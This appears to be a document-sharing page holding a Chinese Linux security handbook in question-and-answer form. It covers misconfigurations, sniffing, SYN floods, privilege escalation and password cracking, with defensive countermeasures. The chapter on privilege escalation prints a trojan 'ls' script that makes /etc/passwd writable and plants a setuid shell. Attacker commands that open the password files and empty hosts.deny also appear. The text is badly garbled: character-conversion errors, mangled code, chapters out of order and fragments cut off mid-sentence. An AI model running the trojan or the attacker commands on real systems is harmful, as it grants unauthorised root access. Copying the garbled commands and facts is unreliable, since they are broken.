资源描述
本书讲述了 linux平安的方方面面,并且以一问一答的方式介绍,思路清晰。文中提供了很 多有益的平安提示,是Linux系统维护人员的必备参考书。通过本书,你能了解到linux安 全的整体概念,从系统平安到应用平安,从单机平安到网络平安。但平安问题是一个不断变 化不断更新的过程而不是一个解决方案,所以本书只是提到当时为人所发现的平安问题的介 绍,新出现的平安问题可参考该书网站的更新和网上的平安警告。
第一章 linux平安问题概述
粘着位(Sticky bit)如果用户对目录有写权限,那么可以删除其中的文件和子目录,即使该用户不是这些文件的所 有者,而且也没有读或写许可。粘着位出现执行许可的位置上,用t表示,设置了该位后, 其它用户就不以删除不属于他的文件和目录。但是该目录下的目录不继承该权限,要再设置 才可使用。
- chmod 1770 xxx
文件属性chattr命令修改
Isattr命令列出文件属性文件属性定义
A不要更新atime文件,当在笔记本电脑或NFS上限制磁盘I/O流量时,很有用,除2. 0系列外,这一属性不被其它内核支持。
a文件仅能以追加方式翻开,只有root才能设置这个属性。
c文件保存在磁盘时,内核将自动压缩该文件。
d 文件标记,使其不能被转储。
i文件不能被修改,删除或重命名,不能创立任何指向它的链接,并不能写入任何数据。
s删除文件时,相应的磁盘存储块清零。
S修改文件时,对其写入进行同步。
u删除文件时,保存其内容。
Ulimit命令设置限制可以把命令加到profile文件里,也可以在/etc/security/limits. conf文件
中定义限制。
命令参数a显示所有限制
- ccore文件大小的上限d进程数据段大小的上限
- fshell所能创立的文件大小的上限m驻留内存大小的上限
- s堆栈大小的上限t每秒可占用的CPU时间上限
- P管道大小n翻开文件数的上限
- u进程数的上限6、必须离开系统时,锁定屏幕。
7、 使用便携机时,必须尽可能在所有时间都将其带在身边。对窃贼的那些把它从你身过分
8、 开的诡计保持警惕。对进入工作场所的每个便携机贴上标签,在带离时对其进行平安检查。
8、防止使用双重启动系统,linux的平安性取决于机器中安装的平安性最差的系统。
9、在启动加载时程序中设置保护口令,防止可能获得root权限的非法重启方式。
10、设置BIOS 口令,以防止其被修改。
1b将所有敏感系统放在加锁的房间,以防止破坏。
12、使用好的加密文件系统可以防止那些获得系统权限的人看到机密数据。这应当作为平安 防卫的底线。
第六章网络攻击
合法的tcp标志组合标志组合 含义
SYN 这是tcp连接的第一个数据包,表示希望与目标系统建立连接。
SYN| ACK目标系统通过确认原始消息和发送SYN信息来响应SYN数据包。
ACK在连接建立期间的每一个数据包都要设置其ACK位,以确认前面收到的数据包。
FIN在连接准备关闭时,发送FIN给对方。
FIN|ACK这一组合用于确认第一个FIN包,并完成关闭步骤。
RST当系统接收到不期望的数据包时,发送RST包重置连接一-例如,系统在未发出SYN
的情况下收到SYN|ACK。
ICMP类型代码类型代码 ICMP消息
0回波响应(响应PING)目的地址不可到达
3 源终结重定向
8 回波(PING请求)TTL超时
11 参数问题请求时间戳
12 响应时间戳地址掩码请求
17 地址掩码响应
攻击错误配置的NFS导出为了保护文件系统不被非法访问,应当让防火墙阻塞NFS,通过阻止对NFS (2049端口) 的进入连接可以做到这一点。如果内部确实需要,确保它只导出必需的文件系统。例如,在 允许远程加载用户主目录时,使用/home替代/。为了验证是否正确配置了 NFS,检查 /etc/exports和/etc/dfs/dfstab以确信没有以读写权限向外导出任何东西。
攻击Nestscape默认配置SuiteSpot是一个工具用于管理web服务器,其中包含实现这一功能的java and javascript code.
它将Nestscape服务器的用户名和口令配置保存在服务根目录下的文件中,默认可被任何人 读取。位于/web server root/admin-serv/config/admpwo 在网络上使用 web 浏览器并将 url 指向该文件,就可获得。文件格式为user:passwordo虽然这个文件是加密的,但可以对口令 进
行蛮力攻击。所以应保护admpw文件,
攻击配置错误的Squid服务器Squid可以被错误地配置成允许外部地址作为访问内部系统的代理。这使攻击者能够以该服 务器为代理来观察或访问内部网络,即使其地址不能被路由。squid, conf文件的一个错误配 置如下:
tcp incomingaddress tcp_outgoing_address udp_incoming_address udp_outgoing_address 对策:
<squid
<squid
<squid
<squid
system
system
system
system
external
internal
external
internal
address>
address>
address>
address>
首先设置正确的防火墙规那么以阻塞外部地址对端口 3128 (代理端口)的连接。然后编辑配 置文件,确信下面这些内容的正确性。
tcp_incoming_address tcp_outgoing_address udp incomingaddress udp outgoing address
<squid
<squid
<squid
<squid
system
system
system
system
internal
external
internal
external
address>
address>
address>
address>
x windows system它使用端口 6000--6063
攻击错误的X配置。xhost工具用于保障X的基本平安性,用户可以使用这一程序指定允 许连接本地X服务器的系统。如果不带参数执行,那么列出所有允许连接的系统,可以通过 如下命令添加新和系统。
# xhost + <system name>如果省略system and name,那么任何系统都可以建立连接。这样入侵者可以通过xkey程序记 录用户在X窗口介面上的所有击键序列。另一个类似程序是xscan,可以扫描网络以查找X 系统的漏洞。
对策:
主要是在防火墙上阻塞端口 6000—6063oipchains -A input -p tcp -j DENY -s 0.0.0.0/0 -d 0.0.0.0/0 6000:-6063
如果不允许阻塞,可以-auth参数启动xinit程序。那么系统将在认证时使用“magic cookies'o 或者以ssh传送X会话。使用XII的ssh时,远程root用户对本地X服务器拥有全部权限。 在双方信任时才使用XII的ssho
默认口令Prianha
red hat提供的用于linux服务器的Prianha虚拟服务器和平衡软件包。在Prianha-gui程 序的0. 4. 12版中存在一个名为prianha的帐号,其默认口令为qo
对策是修改所有系统和网络设备的默认口令。
嗅探网络信息嗅探器工作时,将网卡设置成所谓的混杂模式,在该模式下,网卡会将每个帧的数据都传送 给协议而不检查其MAC地址。这样,系统中的嗅探器就能够检查帧中的数据,并摘取感兴 趣的信息。其中包括报头信息或其它信息,如口令和用户名。很多协议以未加密方式发送敏 感信息,因此黑客就能够使用嗅探器获是系统的访问权限。如telnet, ftp, 中的口令和 用户
名都直接在网络上传播,此外,一些基于web的管理工具也以一般的 协议来传送用户 名和口令,例如webmin就是这样的。防止受到嗅探器危害的最好方法是不要在网络上以未 经加密的方式传送用户名和口令,通过使用ssh代替telnet,用 s代替 传送敏感信 息可大大加强平安性。
常见的嗅探器tcpdump, hunt, linux-sniff, snort
口令猜想在大多数linux中,口令长度被限制在8个字符。如果只能使用小写字母,那么总畏惧26的8 次方(大约2090亿)种组合,如果允许使用大写字母和数字,那么有62的8次方(大约218 万亿)种组合。
对策:
保护系统帐号,关闭finger and rwho服务。限制root只能从控制台登录。可以通过修改 /etc/securetty文件做到这一点。这个文件列出了 root可以登录的tty (终端),在该文件 中只包括ttyl-tty6,就能限制root只能从控制台登录。如果从该文件中删除所有行。那么任何 人
在获得root权限前必须首先以其他用户登录,然后使用su。修改/etc/login.def中的最小 口令长度。
缓冲区溢出漏洞当开发者在程序中采用错误的方法编写操作代码时,那么可能导致缓冲区溢出。罪魁祸首多半 是标准 C 语言中的字符串函数。例如 strcat (), strcpy (), sprintf (), vsprintf (), scanf () and gets ()。这
些函数在执行前不检查参数的大小。常见的攻击所针对的程序有rpc. mountd (nfs), rpc. statd (nsf), imapd/popd, wu-ftp。一旦对系统尝试了缓冲区溢出攻击, 通常会
从日志消息中看到这类行为。
对策:
对于不必要服务,关闭它们,或者在防火墙阻塞对其访问。如果服务是必须的,就只有一个 对策,就是使系统应用最新的补丁。
netstatjsof工具能识别系统中运行的进程序,翻开的端口等信息。但这些程序都不可靠, 可能会被黑客替换。可以用nmap从外部扫描系统以训别服务,因为从外部扫描,所以不会被 黑客在系统中所做的手脚所欺骗。
# nmap -sT -0 xxxx对本系统进行tcp扫描。
# nmap -sU -0 xxxx对本系统进行udp扫描。
第七章恶意使用网络
DNS攻击bind缓冲欺诈
dns是一个分布式系统,使用缓存来降低网络负载,在BIND8.L1和4. 9. 6版中存在一个问 题,即它们没有验证接收自其它名字服务器的信息的合法性。黑客利用这个漏洞可以在目村 服务器中插入伪造记录,引导客户到黑客的机器上来。从而捕获口令和敏感信息。
路由问题源路由,允许发送者指定数据包到达目的地前在internet上经由的路径。这一特点对于网络 勘探很有用,但也能用来绕过平安网关和地址转换。
# cat /proc/sys/net/ipv4/conf/eth0/accept_source_route 0 表示不允许1 表示允许
不正确的ip转发/proc/sys/net/ipv4/ip_forward文件配置ip转发。0表示禁止 1表示允许。这个功能 对于防
火墙和ip伪装网关是必要,但对于名字服务器,邮件服务器或堡垒主机那么不必要。可能如 下禁止:
# echo 0 > /proc/sys/net/ipv4/ip_forward /etc/sysctl. conf 的 net. ipv4. ip_forward 二0控制系统启动时是否允许。
Hunt同时具有数据包嗅探和会话劫持功能。
对策:
采用 openssho
dsniff是一组优秀的网络审计,测试和嗅探工具。
sshmitm对客户端伪装成ssh服务器,而对服务器伪装成ssh客户端,默认时,它将记录所有用户名 和口令。
对策:
sshmitm依赖于用户忽略对ssh主机密钥的检查,当第一次连接服务器时,将会在$home/. ssh/known_hosts中添加主机密钥。应当比拟这份密钥与实际服务器密钥(通常在文 件/etc/ssh/ssh_host_key. pub or /etc/ssh_host_key/. pub 中)的一致性。如果两者不匹 配,那么说
明黑客已经介入过刚才的会话。并获得了口令,应马上断开连接,并通知系统管理员重新设 置口令,以防止帐号被黑客滥用。为了防止在无意中使用潜在不平安连接,应配置ssh进行 强制的主机密钥检查。即将如下几行写入到$home/. ssh/config的起始处。
Host *StrictHostKeyChecking yes
也可以将系统的全局ssh config文件配置成StrictHostKeyChecking.
目前,Sshmitm仅支持ssh版本1,但并不保证支持ssh版本2的软件不在开发中。
Webmitm它的工作方式和sshmitm很相似,它监听端口 80 ( ),和443 ( s)。中继对于实际服 务器的web请求。并将结果返回给客户端。因为webmitm没有真实的ssl服务器证书和密钥, 所以必须伪造一个。因此,当第一次运行webmitm时,它将生成一个与openssl相关的ssl 密钥和证书。当用户连接 s站点时,其浏览器将试图验证所得到的ssl证书,而webmitm 服务器所创立的证书未经浏览器数据中保存的某一可信官方机构颁发签名。因此浏览器将弹 出一系列对话框,以确认用户是否要连接到可能的欺骗站点。如果用户点击并忽略所有警告, 就能够像一切正常那样访问web站点。然而,该会话实际上流经webmitm程序,使用其能 访问所有数据。
对策:
和sshmitm一样,比技术问题更重要的是用户培训。当浏览器给出众多Are you sure?这样 有价值的提问时,不要简单的点击Yes。
SYN潮涌攻击根据tcp/ip协议的规定,在收到最初的SYN数据包时,服务器TCP协议栈将相应的半连接 记录添加到队列里。然后等待一会以接收余下的握手数据包。如果成功那么从队列中删除该记 录。由于队列容纳半连接记录的数量有限,因此如果许多初始化的连接最终没有成功握手。 就会出现问题,一旦队列已满,服务器将不再接收新的连接。当攻击者能够以足够快的速度 向目标服务器发送SYN数据包以填满该队列,就能够阻塞任何tcp服务。这就是SYN潮涌 攻击。如果web服务器不再接受请求,或者甚至连本地连接也变慢,就应使用netstat-nat 来
检查处于SYN_RECV半连接状态的连接。一旦发现系统正受SYN攻击。可以用如下shell脚本跟踪半连接数量:
#!/bin/shwhile [1] ; do
echo -n 〃half-open connectons:“
netstat -nat |grep SYNRECV|wc -1
sleep 1done
如果为零,说明攻击者放弃了。如果发现数目到达最大值并趋于平衡,就很不幸了,队列可 能已经满了。
对策:
升级到以上版本,在这些版本中增加了队列容量。并缩短了超时值,从而更加难以填 满。此外,修改/proc下的某几项,以缩短等待SYN|ACK的超时时间并增加队列中SYN数据包的最大数目。
/proc/sys/net/ipv4/vs/timeoutsynack/proc/sys/net/ipv4/vs/timeout_synrecv
/proc/sys/net/ipv4/tcp_max_syn_backlog在受攻击中,可以增加tcp_max_syn_backlog的值,减少的值。改变这些值会导 致
丧失合法连接,但是如果不对SYN攻击采取措施,系统将失去所有连接。
实施出口过滤很多攻击方法都是依赖ip地址欺骗,以掩盖攻击策源地或将响应流量引导到实际并没有发 出请求的主机,出口过滤(egress filtering)是阻止欺骗的最重要途径。一个连接不同网 络的
路由器应该检查所有的外出流量,只有当数据包拥有相应的本地网络合法地址时才允许它通 过。这看起来理所当然,但确实有许多网络允许任何源地址的数据包通过。
第八章提升用户权限setuserid程序以所有者id而不是以使用者id的权限运行。
setgroupid程序以组id权限而不是调用者id权限运行。
在path中包括”的坏习惯在path中包括”可以减少用户的击键次数,以foo代替sh foo或・/foo。这些做法有很 大
的危险。例如,在/tmp中创立如下的1s文件。
#!/bin/sh -#fake trojan Is
if chmod 666 /etc/passwd > /dev/null 2>&1 ; then cp /bin/sh /tmp/. sh
chmod 4755 tmp/. sh fi
exec Is 〃$@〃#end of script
如果在环境变量中设置了并且其位置先于1s所在的系统目录,那么当用户在八叩中执
行命令1s时,执行的是上面所给出的脚本,而不是实际的Is命令。因为最终还是执行了 Is, 所以用户不会看出任何异常。如果执行该命令的是root,就会将口令文件设置成为可写,并 将shell复制到/tmp保存成.sh,同时设置其setuserid位。所有这一切都非常安静地发生。 在登录时可以在多个地方修改path,例如/etc/profile or /etc/profile. d中的脚本。手工修 改较麻
烦,且容易出错。建议在bashrc或・profile文件的未尾加如下一行:
PATH=' echo $PATH | sed -e 's/::/:/g; s/:. :/:/g; s/:. $//; s/八:〃''以删除路径中所有 包括其另一形式“::”
明文的口令去掉用户文件中的的口令,如fechmail中的控制文件。如果必须那样做,应确保文件只能被 所有者读取,而不能被组成员或其它人读取。
存储在系统文件中的口令有些系统程序可能需要存储在系统文件中的口令,例如samba软件包内有一个smbprint的 工具,允许linux使用与windows相连接的打印机。通常
对于拔号上网用户,链接所需的用户名和口令通常保存在某个文件中,一般PPP将在/etc/ppp/chap-secrets 文件中查口令,而 Wvdial 那么在/etc/wvdial. conf 中查找。使用 chmod 600
filename来限制文件。使用只能被root读取。
使用用户名和口令来控制这种对打印机的访问。要保护保存的smbprint 口令,必须确保并 非所有用户都能读取/var/spool/lp下的每个config文件,在/var/spool/lp目录下查找所 有的.config文件,对每个文件执行chmod o -rwo
可逆的口令pop3通常以纯文本格式在网上传输用户名和口令认证信息。这不是一件好事,一人替代方 式是使用名Popauth的认证方法。Popauth将所有口令以某种可逆的加密方式处理后保存在 数据库中。如果攻击者能够访问该数据库,那么系统中所有用户和口令将受到威胁。如果可能, 就不要使用popauth,许多pop3客户端支持ssl加密方式,尽可能使用ssl加密为用户的认 证提供保护,如果必须使用popauth,那么要确保/etc/popauth只能被root读取。
命令行中的口令某些实用工具,例例如smbmount and smbclient,允许通过命令行或环境变量传递口令。这 样可以通过使用ps命令或者直接读取/proc下的文件来获得口令。所有输入命令都会保存在 shell历史文件中.bash_history。无论如何都要防止在命令行输入口令。并且周期性于清除 历
史文件,以防止命令和平安信息的长期积累。如果要运行某些不想被记录的命令,可以反置 环境变量中的hisfile以关闭历史记录功能,然后翻开一个新的shello
可写的组许可一个主组的成员被入侵,会增加组中其它成员的平安威胁。每个用户应该有自己惟一的主组, 并且该组只有他一个用户,然后所有的用户在创立文件时都使用这个惟一主组,除非修改了 组所有权,通过次级组来解决共享文件的访问的问题。用户的umask设置应当严格设置为 平安值,以防止文件创立后就能够被默认组所读写,将umask设置为066就可以保证文件 创立后只有所有者才有读写权限。而组成员和其它人都不能读写该文件。在极端的情况下, 可以使用077的umasko这一默认umask使得文件只能被root或者root权限的用户访问。
特殊用途组和设备访问攻击者通常在/dev下查找许可设置不当的设备,他们能够利用这些情况来访问内存,磁盘或 串行调协。并以此为基础,进一步入侵系统和敏感文件。例如,通过/dev/kmem可以访问内 核存储区,对该文件有读权限的攻击者就可以从中读取系统当前使用的任何数据。如果磁盘 分区(如/dev/hdal)可读,那么攻击者就能够读到原始的磁盘数据。她可以使用/sbin/dump 直
接得到该分区下所有文件的拷贝。变这样可以绕过所有的文件许可。而且所有文件,包括 /etc/shadow等文件都可以读取,而不需要root权限。如果用户需要访问只有root才有权 访问的特殊设备文件时,应当考虑使用Sudo。
wheel 组它是系统上一个特殊的组,在启用wheel组的系统中,只有该组的成员才能su成root,即 使root 口令被破解,如果用户不是wheel组成员,就不能运行su而进入root。对于远程root 登录,将这一制约手段和/etc/securetty文件相结合,可以增强系统平安性并保护最重要的 root
帐号。使用它的缺点是它为攻击者确定那此更有价值和权限的帐号提供了线索。即使预定义 了 wheel组,多数linux系统并不自动启用wheel组的访问控制功能。对于支持pam的系 统,只要在适当的pam控制文件中(/etc/pam. d/su)添加pam_wheel行,就可以支持wheel 组。
sudosudo是一个常用工具,用于分担管理员的某此权限。使用sudo,可以允许特定用户执行通 常必须是root用户才能运行的特定管理任务。例如,可以授权某此用户添加,删除或修改 用户或它们自己的口令。
sudo更改口令通常,根据系统管理员授权,普通用户能够运行passwd命令,运行该命令时,该用户能修 改任何口令,包括root,这显然是一个问题,我们应该创立一个前端脚本以检查与口令相对 的用户名确认其修改的合法性。一般而言,系统用户的id号要小于某个预设值(通常是200 或500)。如果试图修改的id号小于最小值,脚本应当产生一个错误。根据系统策略,这个 脚本也应该检查和保证所更改的用户未被锁定并且拥用合法的shell。
sudo编辑器操作通常,用户用权权访问的配置程序可能会运行编辑器,例如crontab -e -u user。因为我多 数
这类程序允许通过环境变量VISUAL OR EDITOR设置默认编辑器。所以可以运行几乎所有 程序。应当把编辑器限制在众所周知的范围内,如vi, ed or emacs。但编辑器同样可以执行 shell或外部命令。因为编辑器以root运行,所以任何程序只要运行在由该编辑器得到的 shell中,都将拥用root权限。对该问题的最正确解决方法是当编辑文件时,应当文件锁定并复制 到普通用户能够以最小权限编辑的平安位置。然后用户再编辑这个临时文件,而不会危及受 保护的系统文件。在编辑完成后,确保没有改动受限区域,并且所做改动与文件结构和系统 要求一致,之后再将所修改文件复制到原始文件并解锁。
sudo带来的其它程序漏洞chmod,允许开发者将目录设置为可写以完成工作。攻击者可以直接运行chmod 666 /etc/passwd /etc/shadow,并随心所欲地创立或修改帐号。
chown,允许某公共区域(如某个web文档树)的开发者获得其他开发者的文件的控制权。
攻击效果同chmodotar/cpio,允许用户创立文档及备份。攻击者可以用于抽取文件,以替换系统的执行文件或 配置文件。
mount,允许用户加载远程文件系统。攻击者能够用于加载包含setuserid程序的文件系统, 从而使用攻击者获得系统权限。
useradd,允许可信用户创立新帐号。攻击者可用于创立新的root级帐号。
rpm,安装rpm软件包。攻击者用于降级系统的软件,使其包含能够被攻击者利用的漏洞,或 者用来安装使用攻击者获得root权限的rpm软件包。
创立sudoers文件时,应当详细地设置允许运行的程序及其参数。下例配置两个组, d restricted组中的用户运行apachectl程序时只能指定start和stop选项。而 dfull 组
成员能运行所有被支持的选项。
User_Alias d_full = king, ryan, chrisUser_Alias d_restricted = guest, tax
Cmnd_Aliasapachectl = /etc/apachectl *Cmnd_Aliasweb_restart 二 /etc/apachectlstart, /etc/apachectl stop
d_fullALL=(ALL) apachectl d restricted ALL= (ALL) web restart
通过显式列出参数防止用户对程序的自由使用,防止了使用不当的情况。应当使用谨慎设计 的前端脚本来验证参数。在脚本中应当检查path, libpath and editor等敏感的环境变量。
必须给出绝对路径,以防止特洛伊木马攻击。
格式字符串攻击问题出在现在程序员使用类似于*printfO or syslogO等支持格式化输出的函数打印简单字 符
串的场合,正确的方式应当是:
printf (〃如〃,str),然而,为了节省时间和少打6个字符。许多程序员转而输入如下省略第一 个参数的命令:printf (str) o
setuserid的一般预防使用chattr +i将所有setuserid程序设置为不可修改,同时设置所有的系统程序和目录不 可修
改。在/bin, /usr/bin, /sbin, /usr/sbin, /lib等目录下的文件很少变化,因此当它们变化时, 管理员必须知道。如果可能,对/,/boot,/usr,/var,/home使用单独分区,设置系统目录为只读, 并使
用类似于linux入侵检测系统(LIDS)等平安性增强工具来阻止入侵者重新以读-写方式加 载只读分区。删除或去掉没用的setuserid程序。
已加载文件系统上的黑客setuserid程序用户用mount加载驱动器、设备、文件和远程文件系统,当把有setuserid程序的NFS程序 加载到本时这样会产生问题。要防止加载文件系统上的setuserid文件。任何远程文件系统 或本地文件系统都应以nosuid标志加载。也可以在不可信的文件系统上设置noexec标志。 以阻止其上任何程序的运行。如果想要运行其中的程序可以复制到本地文件系统,然后运行。 这不仅有助于防止权限提升类型的攻击,也能够对付setuserid的perl脚本。并减少蠕虫和 自繁殖程序通过网络传播。
硬链接和符号链接任何必须创立临时文件的程序应当使用那此文件存在时来会重复创立的函数,对于系统调用 open。,可以使用O.EXCL参数做到这点。
open (〃/tmp/filenamel O_EXCL|O_CREAT|O_RDWR, 0666);在perl中,可用sysopen命令实现:
sysopen (HANDLE, "/tmp/filename", 0_EXCL10_CREAT10_RDWR);在 shell 脚本中,使用 mktemp 实用工具:tmpfile= mktemp /tmp/filename, xxxxx' | | exit 1 commands > $tmpfileo
如果想要更高的平安必一,可以安装solar designer开发的linux内核补丁,位于 :// openwall, org,该补丁能够阻止对/tmp目录下文件的符号链接和硬链接攻击。用 户只有在拥有实际文件或读写权限的情形下,才能够在八叩下创立链接。应用好的分区习惯, 如/home,/var,/tmp,/usr,/boot, /这样的分区规那么。确保普通用户对除/home and /tmp目录 之外的
所有其他分区都没有写权限。这能够防止建立对系统文件如/etc/passwd and /bin/ls的硬 链接。
输入验证脚本应总是验证其输入参数,以确保其中没有包含非法的字符和shell元字符。这些参数不 能包括可能引起意外解释的空白字符,shell控制符和元字符。这一规那么适用于所shell脚 本,
也适用于那些不明智地使用system。函数的C程序。脚本还应当屏蔽对IFS的修改。或者在 执行传入参数和正确性检查前将IFS设置为平安值。
第九章口令破解DES (Data Encryption Standard 数据加密标准),linux 中 crypt (3)实现 des 的功能,它有 两个参
数,key and salt, key是用户的口令,salt是从[a-zA-Z0-9./]中选择的长度为2的字符串, 用户口令最长不能超过8字符。DES的开发得到美国政府的部份支持,所以不能向美国之外 地区输出。
MD5算法是一种散列算法,在很多方面改善了 DES,无限长口令;更大的密钥空间,远比 13字符长;可输出来美国之外地区。
口令破解程序crack, John the ripper,viper, slurpie
# V虚拟内存的上限除可用Ulimit命令设置外,也可以在/etc/security/limits. conf文件中定义限制。
domino type item valuedomino是以符号@开头的用户名或组名,*表示所有用户,type设置为hard or softo item 指
定想限制的资源。如cpu, core nproc or maxloginso value是相应的限制值。
信号kill -TERM XXXX终止信号
# kill -HUP D重读配置信号
特权端口root用户是可绑定端口小于1024的惟一用户。可以信任来自于远程机器端口小于1024的连 接。
第二章预防措施与从入侵中恢复
系统平安简单的FIND命令
# find / \(-perm -02000 -o -perm -4000 \) -Is可以找出系统中所有的 setuserid andsetgroupid
程序。
在最严格的情况下,可以去掉除/bin/su外所有已安装程序的setXid位。
系统平安扫描工具cops tiger Nabou
扫描检测器黑客入侵系统前所做的第一件事就是从网络上扫描系统,扫描检测器能及时获知,是一个良 好的入侵检测系统(IDS)
Klaxon Courtney Scanlogd PortSentry
加固系统Bastille工程创立了一组模块来加固新近发布的REDHAT。在安装完系统后可运行该补丁,
在什么时候都可运行,不必要一定是刚安装完系统。
加固的方法是:1、下载源代码到/root目录并解包。以root身份动行InteractiveBastilie. pl 脚本。在回答完问题后,程序将做出相应改动。配置完成后,该工具把其保存在BackEnd. pl 中,如果希望加固同样配置的服务器,将它复制到新服务器并运行AutomatedBastille.pl 即可。
Open wall Linux 补丁它是一个内核补丁。要这些补丁起作用,用户必须重新编译和安装新的打上补丁的内核。在
对策:
1、自己运行口令破解程序,找到机器中存在的弱口令。
2、确保口令文件不是可读的。
3、经常检查日志文件。
4、使用阴影口令。
阴影口令/etc/shadow,只有root可读。格式如下:
1、用户名;2、口令密文;
3、口令最后修改日期与1970年1月1日的相隔天数;4、离用户允许修改口令还剩下的天数;
5、离用户必须修改口令还剩下的天数;6、离系统提醒用户必须修改口令还剩下的天数;
7、用户仍可修改口令的剩余天数,否那么到期之后该帐号被禁止。
8、保存字段。
启用阴影口令pwck检查/etc/passwd 完整性
pwconv转换到阴影口令。它根据现有的/etc/passwd文件创立/etc/shadow文件,如果系统
中已经存在该文件,那么将被合并。此外,在成功转换后,仍可能在/etc/passwd中添加普通 未加阴影的帐号。因此,需要定期检查/etc/passwd的内容以确保所有的口令都已阴影化。
pwunconv去除阴影。
chage命令,判断用户是否必须更改口令。执行时使用71选项可以强制用户在指定期限之 后更改口令。
选项mindays两次更改口令之间的最小天数。
maxdays口令有效的最大天数。
lastday口令最后修改日期与1970年1月1日的相隔天数。
inactive口令过期之后,帐号禁用之前的休眠天数。
expiredate帐号禁用的起始日期。
warndays在用户必须修改口令之前开始提醒用户的天数。
其它实用程序gpas swd往组中添加新用户。
groupadd创立新组。
groupdel 删除组。
groupmod修改组信息。
pas swd 设置密码。
useradd创立新用户。
userdel删除用户。
usermod修改用户信息。
口令保护创立强状口令的规划,至少各有一个字符来自于这些字符集:a-zA-Z0-9标点符号。如果使 用des,使用6—8个字符,如果使用md5,使用任意长度的字符,长于15位更好。在不同的 系统上使用不同的口令,但会非常难于记住,一个解决方法是使用PGP和强口令对该文件 加密。
passwd+程序能强制用户使用健壮的口令。
npasswd, anlpasswd都是优秀的口令检查程序。
使用一次有效的口令。OTP的SeurelD, S/Key, OPIE小结口令保护方法:
1、实现阴影口令。
2、使用md5取代des.
3、实施好的口令策略,包括在用户创立新口令时进行测试,强制用户采用健壮的口令。
4、定期运行口令破解程序,以发现系统中的脆弱口令。
5、考虑使用口令期限和一次有效口令。
6、决不把口令告诉不认识的人。
第十章黑客保持通道的方法
基于主机的认证和用户访问
修改 hosts, allow and hosts, deny有多个网络服务使用/etc/hosts. allow文件来确定哪些客户端被允许连接。如果服务不接受 来
自该主机的连接,那么在tcp握手完成之后将即刻关闭连接,而不发送或接收任何数据。也就 是说,该服务能够对来自该主机此类连接的攻击完全免疫,因为黑客没有机会发送数据以做 出破坏。/etc/hosts. deny文件中的内空通常应该是〃ALL:ALL〃,表示所有没有在hosts, allow 中列出的机器都将被拒绝。只要删除该行(例如:cat /dev/null >/etc/host. deny),黑客 就可以连接所提供的服务。
对策:
使用文件完整性工具监视两个文件。同时考虑使用chattr +i命令将它们设置成不可更改。
不平安的nfs导出导出7〃本身,黑客不用登录就可以修改目标主机上的所有
展开阅读全文